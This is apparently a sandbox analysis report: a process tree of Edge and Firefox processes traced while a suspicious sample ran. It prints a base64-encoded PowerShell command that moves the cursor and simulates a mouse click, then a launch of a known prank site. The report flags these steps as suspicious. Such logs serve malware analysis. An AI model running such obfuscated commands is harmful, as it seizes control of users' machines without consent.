        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=18 --always-read-main-dll --metrics-shmem-handle=5140,i,16071893454179844147,3459176148124598276,2097152 --field-trial-handle=2600,i,2315215173694455883,5239632243536924933,262144 --variations-seed-version --mojo-platform-channel-handle=6908 /prefetch:1
        5⤵
        
        PID:7832
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6756,i,14928258348638827793,8094963480253456474,524288 --field-trial-handle=2600,i,2315215173694455883,5239632243536924933,262144 --variations-seed-version --mojo-platform-channel-handle=6920 /prefetch:8
        5⤵
        
        PID:7508
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6760,i,4076674583073359014,2060774863280386368,524288 --field-trial-handle=2600,i,2315215173694455883,5239632243536924933,262144 --variations-seed-version --mojo-platform-channel-handle=6940 /prefetch:8
        5⤵
        
        PID:5808
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6764,i,6232367732687500119,17246182359484172320,524288 --field-trial-handle=2600,i,2315215173694455883,5239632243536924933,262144 --variations-seed-version --mojo-platform-channel-handle=7052 /prefetch:8
        5⤵
        
        PID:6364
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4212,i,5844980862352963494,11553162625596413633,524288 --field-trial-handle=2600,i,2315215173694455883,5239632243536924933,262144 --variations-seed-version --mojo-platform-channel-handle=7108 /prefetch:8
        5⤵
        
        PID:5928
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=7436,i,8364387092145159270,12734881479085308590,524288 --field-trial-handle=2600,i,2315215173694455883,5239632243536924933,262144 --variations-seed-version --mojo-platform-channel-handle=4360 /prefetch:8
        5⤵
        
        PID:4312
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=7496,i,5974259087789163493,857767373858908825,524288 --field-trial-handle=2600,i,2315215173694455883,5239632243536924933,262144 --variations-seed-version --mojo-platform-channel-handle=7516 /prefetch:8
        5⤵
        
        PID:7392
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5252,i,1865387359349732419,9224519673725018186,524288 --field-trial-handle=2600,i,2315215173694455883,5239632243536924933,262144 --variations-seed-version --mojo-platform-channel-handle=7536 /prefetch:8
        5⤵
        
        PID:8184
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=7124,i,14440313890444208177,10814268820172395032,524288 --field-trial-handle=2600,i,2315215173694455883,5239632243536924933,262144 --variations-seed-version --mojo-platform-channel-handle=7120 /prefetch:8
        5⤵
        
        PID:8632
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-US --service-sandbox-type=search_indexer --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6724,i,13479859670076691367,16322022208229642846,524288 --field-trial-handle=2600,i,2315215173694455883,5239632243536924933,262144 --variations-seed-version --mojo-platform-channel-handle=7100 /prefetch:8
        5⤵
        
        PID:964
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5580,i,11884809376763464822,8387628715346320408,524288 --field-trial-handle=2600,i,2315215173694455883,5239632243536924933,262144 --variations-seed-version --mojo-platform-channel-handle=5648 /prefetch:8
        5⤵
        
        PID:4008
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6904,i,11884422155759468761,2027320642266127364,524288 --field-trial-handle=2600,i,2315215173694455883,5239632243536924933,262144 --variations-seed-version --mojo-platform-channel-handle=6884 /prefetch:8
        5⤵
        
        PID:7260
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=7504,i,4381438753488412561,13901105268570007377,262144 --field-trial-handle=2600,i,2315215173694455883,5239632243536924933,262144 --variations-seed-version --mojo-platform-channel-handle=7520 /prefetch:8
        5⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:5296
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6048,i,12568650544032341804,15942384410522585223,524288 --field-trial-handle=2600,i,2315215173694455883,5239632243536924933,262144 --variations-seed-version --mojo-platform-channel-handle=6468 /prefetch:8
        5⤵
        
        PID:7224
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5824,i,16333687927840583908,6002544659674430723,524288 --field-trial-handle=2600,i,2315215173694455883,5239632243536924933,262144 --variations-seed-version --mojo-platform-channel-handle=7760 /prefetch:8
        5⤵
        
        PID:5808
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=on_device_model.mojom.OnDeviceModelService --lang=en-US --service-sandbox-type=on_device_model_execution --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=7532,i,14017531508422984834,9684867837072306106,524288 --field-trial-handle=2600,i,2315215173694455883,5239632243536924933,262144 --variations-seed-version --mojo-platform-channel-handle=7768 /prefetch:8
        5⤵
        
        PID:8204
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6044,i,6335400451701522240,13195939503883620176,524288 --field-trial-handle=2600,i,2315215173694455883,5239632243536924933,262144 --variations-seed-version --mojo-platform-channel-handle=3960 /prefetch:8
        5⤵
        
        PID:3672
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=on_device_model.mojom.OnDeviceModelService --lang=en-US --service-sandbox-type=on_device_model_execution --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5808,i,9883775433602738602,8502844243913972609,524288 --field-trial-handle=2600,i,2315215173694455883,5239632243536924933,262144 --variations-seed-version --mojo-platform-channel-handle=6420 /prefetch:8
        5⤵
        
        PID:8628
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=7660,i,6076096320550340925,16211390417666776042,524288 --field-trial-handle=2600,i,2315215173694455883,5239632243536924933,262144 --variations-seed-version --mojo-platform-channel-handle=5668 /prefetch:8
        5⤵
        
        PID:2972
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=7636,i,5796336341405664306,13268427428160576539,524288 --field-trial-handle=2600,i,2315215173694455883,5239632243536924933,262144 --variations-seed-version --mojo-platform-channel-handle=3232 /prefetch:8
        5⤵
        
        PID:3268
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1516,i,9927983073361966289,1880273595758154566,524288 --field-trial-handle=2600,i,2315215173694455883,5239632243536924933,262144 --variations-seed-version --mojo-platform-channel-handle=3444 /prefetch:8
        5⤵
        
        PID:8992
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5724,i,4745925508067867984,14496903239596871186,524288 --field-trial-handle=2600,i,2315215173694455883,5239632243536924933,262144 --variations-seed-version --mojo-platform-channel-handle=2532 /prefetch:8
        5⤵
        
        PID:5800
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5084,i,4609229776263339143,6400449190565268487,524288 --field-trial-handle=2600,i,2315215173694455883,5239632243536924933,262144 --variations-seed-version --mojo-platform-channel-handle=5800 /prefetch:8
        5⤵
        
        PID:4248
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5080,i,312136605768510503,12094247269367304441,524288 --field-trial-handle=2600,i,2315215173694455883,5239632243536924933,262144 --variations-seed-version --mojo-platform-channel-handle=5088 /prefetch:8
        5⤵
        
        PID:5880
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4476,i,10361466651426454561,9021427823349525425,524288 --field-trial-handle=2600,i,2315215173694455883,5239632243536924933,262144 --variations-seed-version --mojo-platform-channel-handle=5740 /prefetch:8
        5⤵
        
        PID:8456
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5476,i,12763439663384222285,4076285507929737269,524288 --field-trial-handle=2600,i,2315215173694455883,5239632243536924933,262144 --variations-seed-version --mojo-platform-channel-handle=7056 /prefetch:8
        5⤵
        
        PID:7660
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5108,i,3180612064084105516,5414205347701019576,524288 --field-trial-handle=2600,i,2315215173694455883,5239632243536924933,262144 --variations-seed-version --mojo-platform-channel-handle=5752 /prefetch:8
        5⤵
        
        PID:8932
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=7456,i,2988302449211692244,11351495873991238901,524288 --field-trial-handle=2600,i,2315215173694455883,5239632243536924933,262144 --variations-seed-version --mojo-platform-channel-handle=7660 /prefetch:8
        5⤵
        
        PID:9144
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=7908,i,1982616896537389269,2966213173779293680,524288 --field-trial-handle=2600,i,2315215173694455883,5239632243536924933,262144 --variations-seed-version --mojo-platform-channel-handle=4420 /prefetch:8
        5⤵
        
        PID:3272
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=7772,i,5362414817065138956,15618206978762012598,524288 --field-trial-handle=2600,i,2315215173694455883,5239632243536924933,262144 --variations-seed-version --mojo-platform-channel-handle=5528 /prefetch:8
        5⤵
        
        PID:7520
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4436,i,2539663871744888923,8963036383332168378,524288 --field-trial-handle=2600,i,2315215173694455883,5239632243536924933,262144 --variations-seed-version --mojo-platform-channel-handle=7988 /prefetch:8
        5⤵
        
        PID:8080
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=7960,i,919787360676374692,9761423600696094117,524288 --field-trial-handle=2600,i,2315215173694455883,5239632243536924933,262144 --variations-seed-version --mojo-platform-channel-handle=5852 /prefetch:8
        5⤵
        
        PID:9132
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -EncodedCommand "QQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkAIABTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALAAgAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwA7ACAAJABzAGMAcgBlAGUAbgAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAFMAYwByAGUAZQBuAF0AOgA6AFAAcgBpAG0AYQByAHkAUwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7ACAAWwBTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALgBDAHUAcgBzAG8AcgBdADoAOgBQAG8AcwBpAHQAaQBvAG4AIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwAuAFAAbwBpAG4AdAAoACgAJABzAGMAcgBlAGUAbgAuAFcAaQBkAHQAaAAvADIAKQAsACAAKAAkAHMAYwByAGUAZQBuAC4ASABlAGkAZwBoAHQALwAyACkAIAA7ACAAQQBkAGQALQBUAHkAcABlACAALQBNAGUAbQBiAGUAcgBEAGUAZgBpAG4AaQB0AGkAbwBuACAAJwBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgB1AHMAZQByADMAMgAuAGQAbABsACIAKQBdACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAdgBvAGkAZAAgAG0AbwB1AHMAZQBfAGUAdgBlAG4AdAAoAGkAbgB0ACAAZAB3AEYAbABhAGcAcwAsACAAaQBuAHQAIABkAHgALAAgAGkAbgB0ACAAZAB5ACwAIABpAG4AdAAgAGQAdwBEAGEAdABhACwAIABpAG4AdAAgAGQAdwBFAHgAdAByAGEASQBuAGYAbwApADsAJwAgAC0ATgBhAG0AZQAgAG0AbwB1AHMAZQAgAC0ATgBhAG0AZQBzAHAAYQBjAGUAIABhAHAAaQA7ACAAWwBhAHAAaQAuAG0AbwB1AHMAZQBdADoAOgBtAG8AdQBzAGUAXwBlAHYAZQBuAHQAKAAwAHgAMAAyACwAIAAwACwAIAAwACwAIAAwACwAIAAwACkAOwAgAFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0ATQBpAGwAbABpAHMAZQBjAG8AbgBkAHMAIAA1ADAAOwAgAFsAYQBwAGkALgBtAG8AdQBzAGUAXQAhADoAOgBtAG8AdQBzAGUAXwBlAHYAZQBuAHQAKAAwAHgAMAA0ACwAIAAwACwAIAAwACwAIAAwACwAIAAwACkA"where firefox
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3896
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -new-window "https://youareanidiot.cc/lol.html"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1768
    - - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -new-window https://youareanidiot.cc/lol.html
        5⤵
        Checks processor information in registry
        Modifies registry class
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of FindShellTrayWindow
        Suspicious use of SetWindowsHookEx
        Suspicious use of WriteProcessMemory
        
        PID:1320
      - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 1964 -prefsLen 27099 -prefMapHandle 1976 -prefMapSize 270279 -ipcHandle 2076 -initialChannelId {d66980dd-eab1-427d-809f-d9b31abddde3} -parentPid 1320 -crashReporter "\\.\pipe\gecko-crash-server-pipe.1320" -appDir "C:\Program Files\Mozilla Firefox\browser" - 1 gpu
        6⤵
        
        PID:5196
      - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 2468 -prefsLen 27135 -prefMapHandle 2472 -prefMapSize 270279 -ipcHandle 2480 -initialChannelId {90c044a9-2c20-4a63-8d0e-614aaf00bd0c} -parentPid 1320 -crashReporter "\\.\pipe\gecko-crash-server-pipe.1320" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 2 socket
        6⤵
        
        PID:5516
      - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 3632 -prefsLen 25213 -prefMapHandle 3636 -prefMapSize 270279 -jsInitHandle 3640 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 3648 -initialChannelId {a7e1e41b-58b3-4ad0-b364-2f53f05afac0} -parentPid 1320 -crashReporter "\\.\pipe\gecko-crash-server-pipe.1320" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 3 tab
        6⤵
        Checks processor information in registry
        
        PID:5952
      - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 3824 -prefsLen 27325 -prefMapHandle 3828 -prefMapSize 270279 -ipcHandle 3900 -initialChannelId {c6cc064a-f919-4e73-a098-0e6aacac8306} -parentPid 1320 -crashReporter "\\.\pipe\gecko-crash-server-pipe.1320" -appDir "C:\Program Files\Mozilla Firefox\browser" - 4 rdd
        6⤵
        
        PID:5984
      - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 4248 -prefsLen 34824 -prefMapHandle 4252 -prefMapSize 270279 -jsInitHandle 4256 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 4264 -initialChannelId {530386c9-342b-47ee-9c05-6bcc98896dcb} -parentPid 1320 -crashReporter "\\.\pipe\gecko-crash-server-pipe.1320" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 5 tab
        6⤵
        Checks processor information in registry
        
        PID:5408
      - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -sandboxingKind 0 -prefsHandle 5108 -prefsLen 35012 -prefMapHandle 5112 -prefMapSize 270279 -ipcHandle 4572 -initialChannelId {30d91b54-caf4-4377-a1f5-7f11f75c679d} -parentPid 1320 -crashReporter "\\.\pipe\gecko-crash-server-pipe.1320" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 6 utility
        6⤵
        Checks processor information in registry
        
        PID:7000
      - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 5340 -prefsLen 32952 -prefMapHandle 5344 -prefMapSize 270279 -jsInitHandle 5260 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 5256 -initialChannelId {905d6dc9-c596-41c0-8960-68d51fda9c28} -parentPid 1320 -crashReporter "\\.\pipe\gecko-crash-server-pipe.1320" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 7 tab
        6⤵
        Checks processor information in registry
        
        PID:3908
      - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 5356 -prefsLen 32952 -prefMapHandle 5360 -prefMapSize 270279 -jsInitHandle 5364 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 5372 -initialChannelId {19db8d16-38fa-4b9b-8f16-ac77c84d9917} -parentPid 1320 -crashReporter "\\.\pipe\gecko-crash-server-pipe.1320" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 8 tab
        6⤵
        Checks processor information in registry
        
        PID:5480
      - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 5684 -prefsLen 32952 -prefMapHandle 5688 -prefMapSize 270279 -jsInitHandle 5692 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 5700 -initialChannelId {a71868c3-bf60-45d5-b840-58da6e7c67fd} -parentPid 1320 -crashReporter "\\.\pipe\gecko-crash-server-pipe.1320" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 9 tab
        6⤵
        Checks processor information in registry
        
        PID:3144
      - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -sandboxingKind 1 -prefsHandle 5916 -prefsLen 35064 -prefMapHandle 5920 -prefMapSize 270279 -ipcHandle 5924 -initialChannelId {bb0ae832-58fc-4f28-a88d-44e2ea8dc436} -parentPid 1320 -crashReporter "\\.\pipe\gecko-crash-server-pipe.1320" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 10 utility
        6⤵
        Checks processor information in registry
        
        PID:6252
      - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 6120 -prefsLen 32952 -prefMapHandle 6152 -prefMapSize 270279 -jsInitHandle 6104 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 6176 -initialChannelId {1fd54a37-ebad-4aaa-ba97-17f0b25d8ce0} -parentPid 1320 -crashReporter "\\.\pipe\gecko-crash-server-pipe.1320" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 11 tab
        6⤵
        Checks processor information in registry
        
        PID:6832
      - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 6364 -prefsLen 32952 -prefMapHandle 5240 -prefMapSize 270279 -jsInitHandle 6156 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 4408 -initialChannelId {7023825b-43b6-4931-afdf-da4b3b739939} -parentPid 1320 -crashReporter "\\.\pipe\gecko-crash-server-pipe.1320" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 12 tab
        6⤵
        Checks processor information in registry
        
        PID:5660
      - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 6600 -prefsLen 32952 -prefMapHandle 6376 -prefMapSize 270279 -jsInitHandle 6584 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 6672 -initialChannelId {e6fe03f5-0693-4eeb-a712-0d7ffb987ce0} -parentPid 1320 -crashReporter "\\.\pipe\gecko-crash-server-pipe.1320" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 13 tab
        6⤵
        Checks processor information in registry
        
        PID:7488
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -EncodedCommand "QQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkAIABTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALAAgAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwA7ACAAJABzAGMAcgBlAGUAbgAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAFMAYwByAGUAZQBuAF0AOgA6AFAAcgBpAG0AYQByAHkAUwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7ACAAWwBTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALgBDAHUAcgBzAG8AcgBdADoAOgBQAG8AcwBpAHQAaQBvAG4AIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwAuAFAAbwBpAG4AdAAoACgAJABzAGMAcgBlAGUAbgAuAFcAaQBkAHQAaAAvADIAKQAsACAAKAAkAHMAYwByAGUAZQBuAC4ASABlAGkAZwBoAHQALwAyACkAIAA7ACAAQQBkAGQALQBUAHkAcABlACAALQBNAGUAbQBiAGUAcgBEAGUAZgBpAG4AaQB0AGkAbwBuACAAJwBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgB1AHMAZQByADMAMgAuAGQAbABsACIAKQBdACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAdgBvAGkAZAAgAG0AbwB1AHMAZQBfAGUAdgBlAG4AdAAoAGkAbgB0ACAAZAB3AEYAbABhAGcAcwAsACAAaQBuAHQAIABkAHgALAAg